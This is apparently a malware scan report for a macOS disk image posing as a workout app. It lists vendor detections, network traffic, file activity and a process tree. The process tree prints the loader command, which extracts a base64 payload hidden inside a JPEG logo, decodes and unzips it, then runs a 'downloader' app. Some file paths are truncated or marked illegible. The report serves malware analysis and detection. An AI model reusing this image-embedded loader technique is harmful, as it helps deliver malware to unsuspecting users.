483fafc64a2b84197e1ef6a3f51e443f84dc5742602e08b9e8ec6ad690b34ed0

Sign in Sign up

Authentication required

23
/ 60
Community Score

23/60 security vendors flagged this file as malicious

Reanalyze Similar More

483fafc64a2b84197e1ef6a3f51e443f84dc5742602e08b9e…
org.hworkout.OnlineWorkout

dmg checks-hostname contains-macho cve-2019-12259 cve-2019-12265 exploit signed

Size
503.40 KB

Last Analysis Date
11 months ago

DMG

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to **automate checks.**

✓ Display grouped sandbox reports

✓ OS X Sand… 2 6 1 0 25 22

✓ VirusTotal… 0 0 1 0 1 10

Activity Summary

Download Artifacts Full Reports Help

2 Detections
1 MALWARE 1 EVADER

Mitre Signatures
6 LOW 22 INFO

IDS Rules
2 LOW

Sigma Rules
NOT FOUND

Dropped Files
5 OTHER 1 XML 1 MACH_O 1 TEXT 1 APPLE_PLIST 1 JAVASCRIPT 1 ZIP

Network comms
2 HTTP 5 DNS 20 IP 5 JA3

Behavior Tags

checks-hostname

Dynamic Analysis Sandbox Detections

The sandbox OS X Sandbox flags this file as: MALWARE EVADER

MITRE ATT&CK Tactics and Techniques

+ Execution TA0002
+ Persistence TA0003
+ Privilege Escalation TA0004
+ Defense Evasion TA0005
+ Discovery TA0007
+ Command and Control TA0011

Crowdsourced IDS rules

Matches rule (tcp) experimental TCP options found at Snort registered user ruleset
↳ *protocol-command-decode*

Matches rule POLICY-OTHER IGMP membership query attempt at Snort registered user ruleset
↳ *protocol-command-decode*

HTTP Requests

Authentication required

GET
http://ocsp.pki.goog/gts1c3/MFAwTjBMMEowSDAHBgUrDgMCGgQUxy55it3/YTSzuu1HQn7xsAkB2MEFIp0f6+Fze6VzT2c0OJGFPNxNR0nAhEAnll9D8cnv
200

GET
http://ocsp.pki.goog/gtsr1/MEwwSjBIMEYwRDAHBgUrDgMCGgQUMJHC1g+C6hie2xOwdV2bBG5n8FAEFOSvKyZxGitIJ4UvUmYs7/CJE3E+Ag0CA7xTWM
200

DNS Resolutions

- apple.com
- gateway.fe.apple-dns.net
- icloud.com
- mask-api.fe.apple-dns.net
- api.apple-cloudkit.com

IP Traffic

- TCP 23.10.215.112:443
- TCP 17.248.175.200:443
- TCP 17.253.17.212:443
- TCP 17.248.175.240:443
- TCP 17.32.194.34:443
- TCP 54.245.81.65:443
- TCP 17.253.83.200:443
- TCP 142.250.72.142:443
- TCP 23.3.84.123:443
- TCP 192.229.211.108:80

JA3 Digests

- 1aad9aff2523e91bbf4e8276a5b2140e
- 773906b0efdefa24a7f2b8eb6985bf37
- fb3660676bafc9799c86bd51a1ea12f5
- 1d9437ff1aa1e958ed34a0fb0313f206
- 656b9a2f4de6ed4909e157482860ab3d

TLS

- gsa.apple.com

Behavior Similarity Hashes

OS X Sandbox	fa1d87b017470e8aeb27988957184966
VirusTotal Box of Apples	d3197c7319b07bf19fcfc6eb2a841458

File system actions

Files Opened

- /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/CodeResources
- /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/Info.plist
- /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)
- /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/app.icns
- /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/_CodeSignature/CodeResources

/Applications/Google Chrome.app/Contents/Fr[illegible]ork/Versions/110.0.5481.100/Helpers/Google Chrome Helper (GPU).app/Contents/Info.plist

Authentication required

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (GPU).app/Contents/_CodeSignature/CodeResources

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Plugin).app/Contents/CodeResources

Files Written

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/CodeResources

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Info.plist

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/PkgInfo

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/app.icns

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/base.lproj/InfoPlist.strings

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/_CodeSignature/CodeResources

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/CodeResources

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/Info.plist

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)

Files Deleted

/Users/maria/Library/Caches/com.apple.ap.adprivacyd/fsCachedData/854F653F-BD5F-4B7C-9E6D-7F7E3F1F6B90

Files Copied

+ /Users/user1/Library/Application Support/com.apple.spotlight/.dat.nosync01f5.yytwsZ

+ /var/folders/_2/f1dk13r15vgb7756v1t3kfb40000gn/T/com.apple.parsecd/TemporaryItems/NSIRD_parsecd_wC4YCV/session.502.BCAA6890-11B9-4734-AB41-6E95BAC94F7E.open

Files With Modified Attributes

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/PkgInfo

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/base.lproj/InfoPlist.strings

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/PkgInfo

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Plugin).app/Contents/PkgInfo

/private/tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/Info.plist

/private/tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/MacOS/downloader

/private/tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/PkgInfo

/private/tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/Resources/AppIcon.icns

/private/tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/Resources/Assets.car

/private/tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/Resources/Base.lproj/MainMenu.nib

Chrome Helper (Alerts).app/Contents/CodeRes

Authentication required

/Applications/Google Chrome.app/Contents/Fr rk/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Info.plist

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/PkgInfo

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/app.icns

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/base.lproj/InfoPlist.strings

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/_CodeSignature/CodeResources

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/CodeResources

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/Info.plist

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)

Process and service actions

Shell Commands

/tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/MacOS/downloader

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/CodeResources /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/CodeResources
/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/framework_110.0.5481.100_110.0.5481.177.dirpatch/Helpers/Google Chrome Helper (Alerts).app/Contents/CodeResources$gbs

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/Info.plist /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Info.plist /tmp/KSInstallAction.pBXiLmXVf9/m/.patch/framework_110.0.5481.100_110.0.5481.177.dirpatch/Helpers/Google Chrome Helper (Alerts).app/Contents/Info.plist$gbs

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts) /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)
/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/framework_110.0.5481.100_110.0.5481.177.dirpatch/Helpers/Google Chrome Helper (Alerts).app/Contents/MacOS/Google Chrome Helper (Alerts)$gbs

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/app.icns /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/app.icns
/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/framework_110.0.5481.100_110.0.5481.177.dirpatch/Helpers/Google Chrome Helper (Alerts).app/Contents/Resources/app.icns$gbs

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (Alerts).app/Contents/_CodeSignature/CodeResources /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (Alerts).app/Contents/_CodeSignature/CodeResources
/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/framework_110.0.5481.100_110.0.5481.177.dirpatch/Helpers/Google Chrome Helper (Alerts).app/Contents/_CodeSignature/CodeResources$gbs

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (GPU).app/Contents/CodeResources /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/CodeResources
/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/framework_110.0.5481.100_110.0.5481.177.dirpatch/Helpers/Google Chrome Helper (GPU).app/Contents/CodeResources$gbs

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (GPU).app/Contents/Info.plist /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/Info.plist$gbs

/Applications/Google Chrome.app/Contents/F rk/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Go

Authentication required

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/fra /Helpers/Google Chrome Helper (GPU).app/Contents/MacOS/Google Chrome Helper (GPU)$gbs

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/goobspatch /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.100/Helpers/Google Chrome Helper (GPU).app/Contents/_CodeSignature/CodeResources /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/110.0.5481.177/Helpers/Google Chrome Helper (GPU).app/Contents/_CodeSignature/CodeResources

/tmp/KSInstallAction.pBXiLmXVf9/m/.patch/framework_110.0.5481.100_110.0.5481.177.dirpatch/Helpers/Google Chrome Helper (GPU).app/Contents/_CodeSignature/CodeResources$gbs

Processes Tree

913 - /usr/libexec/adprivacyd

926 - /usr/bin/open /Volumes/Installer/Installer.app

929 - /Volumes/Installer/Installer.app/Contents/MacOS/OnlineWorkout

↳ 933 - /bin/bash sh -c tail -c +21453 '/Volumes/Installer/Installer.app/Contents/Resources/workout-logo.jpeg' | base64 --decode > /tmp/951C853D-1B57-4FFF-9079-01CE4854F836.zip

↳ 934 - /usr/bin/tail tail -c +21453 /Volumes/Installer/Installer.app/Contents/Resources/workout-logo.jpeg

↳ 935 - /usr/bin/base64 base64 --decode

↳ 936 - /usr/bin/unzip unzip /tmp/951C853D-1B57-4FFF-9079-01CE4854F836.zip -d /tmp/951C853D-1B57-4FFF-9079-01CE4854F836

↳ 937 - /tmp/951C853D-1B57-4FFF-9079-01CE4854F836/downloader.app/Contents/MacOS/downloader

↳ 938 - /usr/bin/hdiutil n/a

↳ 940 - /usr/bin/hdiutil n/a

Highlighted actions

Highlighted Text

""